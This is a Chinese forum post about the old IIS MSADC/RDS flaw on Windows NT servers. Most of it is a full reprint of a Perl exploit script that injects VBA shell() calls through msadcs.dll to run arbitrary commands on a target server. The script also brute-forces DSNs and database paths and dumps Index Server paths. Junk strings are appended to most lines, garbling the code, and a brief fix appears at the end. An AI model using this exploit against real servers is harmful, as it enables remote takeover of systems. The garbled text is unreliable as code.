社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 168181阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ]y1$F Ir+  
#}[Sj-Vp  
涉及程序: Zd[y+$>  
Microsoft NT server +z]:CF  
aJuj7y-  
描述: 8! |.H p  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 EmtDrx4!(f  
ZI2K-z'e  
详细: gmF_~"^34  
如果你没有时间读详细内容的话,就删除: \N# HPrv}  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ]t. WJC %  
有关的安全问题就没有了。 J[j/aDdP  
p=8M0k  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 _Ewy^;S%L  
cM> G>Yzo  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 r+{!@`dYi  
关于利用ODBC远程漏洞的描述,请参看: E"9/YWv  
B#qL$M,|  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm .G5NGB  
IEno.i\  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 F"B<R~  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp h3UZ|B0=  
Gx(KN57D  
这里不再论述。 p"hm.=,  
++J Bbuzj!  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: .NV)hg)|cZ  
( )JYN5  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset !^Z[z[  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 'mBLf&fB  
OEy:#9<'  
sx)$=~o  
#将下面这段保存为txt文件,然后: "perl -x 文件名" sUyCAKebRr  
_H^^2#wc/  
#!perl HobGl0<y  
# K]H"qG.K  
# MSADC/RDS 'usage' (aka exploit) script z. _C*c  
# SHXa{-  
# by rain.forest.puppy )RAv[U1  
# SxLHFN]  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me KV^:sxU  
# beta test and find errors! ^-e3=&  
FT3,k&i  
use Socket; use Getopt::Std; ~n8Oyr  
getopts("e:vd:h:XR", \%args); ^td!g1"<  
(x1"uy7_  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; k$$S!qi#  
%mB!|'K%  
if (!defined $args{h} && !defined $args{R}) { 8r`VbgI&  
print qq~ @ }zS/LO  
Usage: msadc.pl -h <host> { -d <delay> -X -v } @,y FY  
-h <host> = host you want to scan (ip or domain) ;9!yh\\   
-d <seconds> = delay between calls, default 1 second |h^G$guw  
-X = dump Index Server path table, if available ~L \(/[  
-v = verbose Pq{YZMr  
-e = external dictionary file for step 5 {jx#^n&5R  
;H m-,W  
Or a -R will resume a command session 7N}\1Di5  
q^jqLT&w  
~; exit;} y7;XOPm  
AXNszS%4  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; +e\:C~2f28  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Q?Bj q>  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} G(7\<x:  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); A_6/umF[ZA  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} >"sKfiM)b  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } \0*yxSg,^  
>PTu*6Z  
if (!defined $args{R}){ $ret = &has_msadc; xdbu|fC  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 3-9J "d !  
|$.sB|_ N  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ZaNyNxbp>z  
. "cmd /c "; cOZajC<G  
$in=<STDIN>; chomp $in; 9|G=KN)P:  
$command="cmd /c " . $in ; "b1R5(Ar  
fUL{c,7xda  
if (defined $args{R}) {&load; exit;} U"%8"G0)  
dp//p)B>  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; psyH?&T  
&try_btcustmr; eHnei F  
YVZSKU  
print "\nStep 2: Trying to make our own DSN..."; -+ IX[  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; p@NEr,GB  
qN`]*baS  
print "\nStep 3: Trying known DSNs..."; yNWbI0a  
&known_dsn; &>) `P[x  
A\PV@w%A i  
print "\nStep 4: Trying known .mdbs...";  a`h$lUb-  
&known_mdb; _!CvtUU0Vv  
qed!C  
if (defined $args{e}){ 0\_R|i_`>  
print "\nStep 5: Trying dictionary of DSN names..."; x9&tlKKxf  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } JI[rIL \Ey  
#:ED 0</  
print "Sorry Charley...maybe next time?\n"; m|Q&Lphb8  
exit; i/ O,`2  
&' Nk2{  
############################################################################## d~z<,_ r5c  
%. 6?\w1e  
sub sendraw { # ripped and modded from whisker _>?8eC]4a  
sleep($delay); # it's a DoS on the server! At least on mine... ("P mB?20  
my ($pstr)=@_; 9V4V}[%  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || On96N|  
die("Socket problems\n"); 2Z IpzH/8  
if(connect(S,pack "SnA4x8",2,80,$target)){ 8w@W8(3B  
select(S); $|=1; )H37a  
print $pstr; my @in=<S>; z7l;|T  
select(STDOUT); close(S); B'BbTI,  
return @in; }&C!^v o  
} else { die("Can't connect...\n"); }} k`4\.m"&  
H{tOCYyD  
############################################################################## g!kRa.`u1  
.+JP tL  
sub make_header { # make the HTTP request kmwrv -W  
my $msadc=<<EOT ! ,(bXa\^  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 dXK~ Z:  
User-Agent: ACTIVEDATA <2@<r t{  
Host: $ip -m x3^  
Content-Length: $clen n5,Pq+[  
Connection: Keep-Alive ygy#^  
3xCA\*  
ADCClientVersion:01.06 C;:1CK  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 '`goy%Wd  
CK`3   
--!ADM!ROX!YOUR!WORLD! EV7+u0uN&Q  
Content-Type: application/x-varg ,IVr4#w0=  
Content-Length: $reqlen U-]PWt?C{  
%},S#5L3  
EOT zH\;pmWiN9  
; $msadc=~s/\n/\r\n/g; j n&9<"W  
return $msadc;} m+gG &`&u  
%Pvb>U(Xs  
############################################################################## r`E1<aCr|  
4oa P"T@6  
sub make_req { # make the RDS request *ej o6>  
my ($switch, $p1, $p2)=@_; _ L:w;Oy9T  
my $req=""; my $t1, $t2, $query, $dsn; vM3|Ti>a'  
eS# 0-  
if ($switch==1){ # this is the btcustmr.mdb query 1oW]O@R  
$query="Select * from Customers where City=" . make_shell(); uA}FuOE6  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ^[\53\R~  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Ew,wNR`  
6pz:Lfd80  
elsif ($switch==2){ # this is general make table query AU?YZEAei  
$query="create table AZZ (B int, C varchar(10))"; ZT-45_  
$dsn="$p1";} VflPNzixb!  
2'^OtM,  
elsif ($switch==3){ # this is general exploit table query H2_>Av{m  
$query="select * from AZZ where C=" . make_shell(); Zz*mf+  
$dsn="$p1";} Ky~~Cd$  
eEZlVHM;O  
elsif ($switch==4){ # attempt to hork file info from index server ]A<u eM  
$query="select path from scope()"; E#V-F-@2  
$dsn="Provider=MSIDXS;";} FCB/FtI0  
d@`:9 G3  
elsif ($switch==5){ # bad query /t6u"I~  
$query="select";  9DAwC:<r  
$dsn="$p1";} FEi,^V  
>`V|`Zi ?  
$t1= make_unicode($query); A kQFb2|ir  
$t2= make_unicode($dsn); Pc ?G^ Xol  
$req = "\x02\x00\x03\x00"; F1[ [fH  
$req.= "\x08\x00" . pack ("S1", length($t1)); 2uR4~XjF  
$req.= "\x00\x00" . $t1 ; sL`D}_:  
$req.= "\x08\x00" . pack ("S1", length($t2)); AA%g^PWpR  
$req.= "\x00\x00" . $t2 ; S@2Jj>3D?  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; NeZYchR  
return $req;} Zu73x#pI  
3bL2fsn5  
############################################################################## Glc4g  
pO+wJ|f  
sub make_shell { # this makes the shell() statement 8;BwzRtgT  
return "'|shell(\"$command\")|'";} `TR9GWU+B  
T`<k4ur  
############################################################################## O*Pe [T5x'  
ZTz(NS EK  
sub make_unicode { # quick little function to convert to unicode x3F L/^S  
my ($in)=@_; my $out; CbaAnm1  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Y~ ?YA/.x  
return $out;} #"YWz)8  
-ddatc|  
############################################################################## x=|@AFI  
en6AAr:U}  
sub rdo_success { # checks for RDO return success (this is kludge) {ZI6!zh'  
my (@in) = @_; my $base=content_start(@in); NbMH@6%E  
if($in[$base]=~/multipart\/mixed/){ U~@B%Msb L  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Fm~}A4  
return 0;} (=B7_jrl  
^ /eSby  
############################################################################## 8$tpPOhzb  
]1$AAmQH  
sub make_dsn { # this makes a DSN for us ),FN29mZu  
my @drives=("c","d","e","f"); Vx8.FNJh  
print "\nMaking DSN: "; m`0{j1K  
foreach $drive (@drives) { /FZ )ej\  
print "$drive: "; j|8{Vyqd  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . D(?#oCCA  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" R2f,a*>  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 2>$L>2$  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; T<,tC"  
return 0 if $2 eq "404"; # not found/doesn't exist 4tu>~ vOE  
if($2 eq "200") { fBh|:2u  
foreach $line (@results) { cDol o1*  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} |L-juT X9  
} return 0;} u<r('IW0  
@  MoMU  
############################################################################## A+ *(Pds  
J, U~ .c  
sub verify_exists { j-E>*N}-_  
my ($page)=@_; ^Iq.0E9_  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Nxk'!:  
return $results[0];} .y/?~+N^  
"Z?":|%7  
############################################################################## D)$k{v#~  
wWswuhq<  
sub try_btcustmr { O@&I.d$  
my @drives=("c","d","e","f"); GgZf6~b1J  
my @dirs=("winnt","winnt35","winnt351","win","windows"); \:28z  
WuXRL}!\,  
foreach $dir (@dirs) { mw.aavB  
print "$dir -> "; # fun status so you can see progress @D{[Hj`<  
foreach $drive (@drives) { \K=PIcH  
print "$drive: "; # ditto U^S:2  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; nrhpI d  
$reqlenlen=length( "$reqlen" ); 780MSFV8  
$clen= 206 + $reqlenlen + $reqlen; ^?`,f>`M  
jH/%Z5iu  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); LM`#S/h  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 0kEq|k9  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} skArocs  
6% axbB  
############################################################################## K?eo)|4)DB  
9peB+URV  
sub odbc_error { ]&BFV%kw  
my (@in)=@_; my $base; 3Or3@e5r  
my $base = content_start(@in); cne[-E  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this sTYl' Ieg  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 1 SZa\ ][@  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; SX8%F:<.  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; M" \y2   
return $in[$base+4].$in[$base+5].$in[$base+6];} ^<b.j.$<z  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 0+h?Bk  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . %uMsXa  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} =~*u(0sJa  
-p~B -,  
############################################################################## x&p=vUuukP  
Jrl xa3 [  
sub verbose { >rGlj  
my ($in)=@_; $o^}<)DW  
return if !$verbose; B-zt(HG  
print STDOUT "\n$in\n";} >H! 2Wflm  
bsVOO9.4-  
############################################################################## 9 f+7vCA  
_"TG:RP  
sub save { QY! A[!6h  
my ($p1, $p2, $p3, $p4)=@_; P0<uF`87  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 81g0oVv  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; vsR&1hs  
close OUT;} ~=Sr0+vV  
;T(^riAEl  
############################################################################## g9.hR8X  
M?97F!\U  
sub load { Ha\hQ'99  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; s=+G%B'  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); BJTljg( {o  
@p=<IN>; close(IN); 0eIR)#j*  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); @n3PCH6:Ao  
$target= inet_aton($ip) || die("inet_aton problems"); }%|OnEk"  
print "Resuming to $ip ..."; RUO6Co-  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; IS~oyFS  
if($p[1]==1) { ~yg9ZM  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;  _^ZII  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; dY^~^<{Lj  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); MDt4KD+bZ  
if (rdo_success(@results)){print "Success!\n";} q3t@)+l>*  
else { print "failed\n"; verbose(odbc_error(@results));}} lnUy ? 0(  
elsif ($p[1]==3){ =n&83MYX  
if(run_query("$p[3]")){ d?qz7#kc  
print "Success!\n";} else { print "failed\n"; }} XO>Y*7rO  
elsif ($p[1]==4){ kM@,^`&  
if(run_query($drvst . "$p[3]")){ P nDZi  
print "Success!\n"; } else { print "failed\n"; }} P*Nl3?T  
exit;} >~ :]+q  
6w#v,RDEu  
############################################################################## U/X ^  
s,8%;\!C  
sub create_table { L M[<?`%p  
my ($in)=@_; VB%xV   
$reqlen=length( make_req(2,$in,"") ) - 28; }W J`q`g  
$reqlenlen=length( "$reqlen" ); Urr1 K)  
$clen= 206 + $reqlenlen + $reqlen; 9:WKG'E8a  
my @results=sendraw(make_header() . make_req(2,$in,"")); Ig2VJs;  
return 1 if rdo_success(@results); 7dRU7p>  
my $temp= odbc_error(@results); verbose($temp); uq_SF.a'v  
return 1 if $temp=~/Table 'AZZ' already exists/; ?T&D@Ohsx  
return 0;} sh RvwE[  
r}w 9?s^rB  
############################################################################## ]0O$2j_7  
ZBWe,Xvq  
sub known_dsn { hB4.tMgZ  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go bBf+z7iyc  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", V^D#i(5  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Gy5W;,$q  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); !.A>)+AK  
g$qh(Z_s  
foreach $dSn (@dsns) { 3h>Ji1vV  
print "."; }9JPSl28Jr  
next if (!is_access("DSN=$dSn")); }HzZj;O^2>  
if(create_table("DSN=$dSn")){ !~#31kL&  
print "$dSn successful\n"; q]aRJ`9f  
if(run_query("DSN=$dSn")){ 6lGL.m'Ra  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { iJK9-k~  
print "Something's borked. Use verbose next time\n";}}} print "\n";} I <7K^j+5:  
? "gy`oCv  
############################################################################## 6r`g+Js/  
,$Mw/fA  
sub is_access { :d;5Q\C`  
my ($in)=@_; 2t'&7>Ys{  
$reqlen=length( make_req(5,$in,"") ) - 28; R.7" ZG  
$reqlenlen=length( "$reqlen" ); <5 +?&i  
$clen= 206 + $reqlenlen + $reqlen; OkM>  
my @results=sendraw(make_header() . make_req(5,$in,"")); -llujB%;,e  
my $temp= odbc_error(@results); l d@^ $  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 5y)kQ<x"  
return 0;} f{J7a1 `_  
"(5}=T@,  
############################################################################## 7g$t$cZby,  
fHiCuF  
sub run_query { mTt 9 o9E  
my ($in)=@_; Kj7Osqu2bE  
$reqlen=length( make_req(3,$in,"") ) - 28; hH\(> 4l  
$reqlenlen=length( "$reqlen" ); Co M8  
$clen= 206 + $reqlenlen + $reqlen; l40$}!!<  
my @results=sendraw(make_header() . make_req(3,$in,"")); :5(TOF  
return 1 if rdo_success(@results); We`axkC  
my $temp= odbc_error(@results); verbose($temp); *e R$  
return 0;} mMR[(  
Ce:kMkJ  
############################################################################## 7D,+1>5^Ne  
wsARH>Vz  
sub known_mdb { Oj2[(7 mO/  
my @drives=("c","d","e","f","g"); fAK  
my @dirs=("winnt","winnt35","winnt351","win","windows"); !(]|!F[m  
my $dir, $drive, $mdb; )\e_I\-  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 9/{g%40B^  
F-nt7l  
# this is sparse, because I don't know of many /[IK [  
my @sysmdbs=( "\\catroot\\icatalog.mdb", P_;oSN|>  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", LZeR .8XM>  
"\\system32\\certmdb.mdb", .F]6uXd  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% HZm44y$/  
[x&&N*>N  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", o8" [6Ys  
"\\cfusion\\cfapps\\forums\\forums_.mdb", c}Qc2D3*  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 4DNZ y2`  
"\\cfusion\\cfapps\\security\\realm_.mdb", I|.B-$gH  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ,Ubnz  
"\\cfusion\\database\\cfexamples.mdb", $?GF]BT  
"\\cfusion\\database\\cfsnippets.mdb", zUh(b=,  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", D -jew&B  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ,UP6.C14  
"\\cfusion\\brighttiger\\database\\cleam.mdb", R'{V&H^Z  
"\\cfusion\\database\\smpolicy.mdb", Vq*p?cF .  
"\\cfusion\\database\cypress.mdb", Ai/#C$MY$  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", cc>h=%s`  
"\\website\\cgi-win\\dbsample.mdb", -{O2Nv-]]  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 2`z+_DA  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" E?;W@MJi  
); #these are just $R^"~|m3M  
foreach $drive (@drives) { h1BdASn_  
foreach $dir (@dirs){ H=dj\Br`  
foreach $mdb (@sysmdbs) { 9(C Ke,  
print "."; -~5yl}  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ xsa* XR  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; `1P &  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ WN0^hDc-  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; NENbr$,G  
} else { print "Something's borked. Use verbose next time\n"; }}}}} {\%x{  
fhC=MJ @  
foreach $drive (@drives) { (<f[$ |%  
foreach $mdb (@mdbs) { -Ju!2by  
print "."; xGA%/dy,;  
if(create_table($drv . $drive . $dir . $mdb)){ `pKQ|zGw  
print "\n" . $drive . $dir . $mdb . " successful\n"; ,+JAwII>O  
if(run_query($drv . $drive . $dir . $mdb)){ ;c'jBi5W  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; A}%sF MA  
} else { print "Something's borked. Use verbose next time\n"; }}}} 8mV35A7l  
} ;%U`P8b!  
:!R+/5a  
############################################################################## ,e;(\t:  
3 -5^$-7_  
sub hork_idx { 67#;.}4a  
print "\nAttempting to dump Index Server tables...\n"; n>@(gDq  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; L 0|u^J  
$reqlen=length( make_req(4,"","") ) - 28; ICGBU>Db  
$reqlenlen=length( "$reqlen" ); FNUue  
$clen= 206 + $reqlenlen + $reqlen; xD~:= ]G  
my @results=sendraw2(make_header() . make_req(4,"","")); EZ$m4: {e  
if (rdo_success(@results)){ (BJs6":BFe  
my $max=@results; my $c; my %d; lAoH@+dyA+  
for($c=19; $c<$max; $c++){ DukCXyB*l  
$results[$c]=~s/\x00//g; 8U-}%D<a  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 1|zo -'y  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; {RzlmDStV  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; <$UY{"?  
$d{"$1$2"}="";} O|8p #  
foreach $c (keys %d){ print "$c\n"; } Y+D#Dv |  
} else {print "Index server doesn't seem to be installed.\n"; }} Kj'uTEM  
Oh|Hy/&6W  
############################################################################## j/9'L^]  
a.q=  
sub dsn_dict { d`Wd"LJ=  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 1X=}  
while(<IN>){ Jo2:0<VL  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";  _G`kj{J  
next if (!is_access("DSN=$dSn")); (_d^i Zyf  
if(create_table("DSN=$dSn")){ /N~.,vf  
print "$dSn successful\n"; #/YKA{  
if(run_query("DSN=$dSn")){ ^Zg"`&E  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { pN?  
print "Something's borked. Use verbose next time\n";}}} VG)kPKoi  
print "\n"; close(IN);} (pAGS{{  
lwa  
############################################################################## ]/U)<{6  
w,^!kO0)~8  
sub sendraw2 { # ripped and modded from whisker _PJd1P.k  
sleep($delay); # it's a DoS on the server! At least on mine... A_CK,S*\,&  
my ($pstr)=@_; rR/PnVup  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || >R :Bkf-  
die("Socket problems\n"); O[$ &]>x]]  
if(connect(S,pack "SnA4x8",2,80,$target)){ LA1UD+S  
print "Connected. Getting data"; ^f@EDG8  
open(OUT,">raw.out"); my @in; o@"H3 gz  
select(S); $|=1; print $pstr; G !wFG-Y}  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} @q|I$'K]x  
close(OUT); select(STDOUT); close(S); return @in; @<l7"y;\  
} else { die("Can't connect...\n"); }} uP<tP:  
?&"-y)FG  
############################################################################## Td?a=yu:J  
Yf<6[(6 O  
sub content_start { # this will take in the server headers lLl^2[4k5  
my (@in)=@_; my $c; 8M !If  
for ($c=1;$c<500;$c++) { NKh8'=S  
if($in[$c] =~/^\x0d\x0a/){ )p 2kx  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } IE,xiV  
else { return $c+1; }}} rtC.!].;%  
return -1;} # it should never get here actually iE>T5XV8$B  
{ "=d7i  
############################################################################## wU+-;C5e  
-FdhV%5]  
sub funky { aO6w :IO  
my (@in)=@_; my $error=odbc_error(@in); {4\(HrGNk  
if($error=~/ADO could not find the specified provider/){ p"3_u;cN  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ~^ Q`dJL  
exit;} D&$%JT'3  
if($error=~/A Handler is required/){ dy`K5lC@  
print "\nServer has custom handler filters (they most likely are patched)\n"; !Yd7&#s  
exit;} !bRoNP  
if($error=~/specified Handler has denied Access/){ xV}-[W5sr'  
print "\nServer has custom handler filters (they most likely are patched)\n"; 6o!+E@V b  
exit;}} qE!.C}L +  
,~>A>J  
############################################################################## !3E33  
}GRZCX>  
sub has_msadc { xmsw'\  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); hv2@}<r?  
my $base=content_start(@results); U TC|8  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); v?vm-e  
return 0;} DavpjwSn  
M|6 l  
######################## dJ#mk5= "  
^1nQDd*  
-lAX-W 0  
解决方案: h`;w/+/Zr  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll %i 6i.TF  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 f_I6g uDPz  
jv_z%`  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五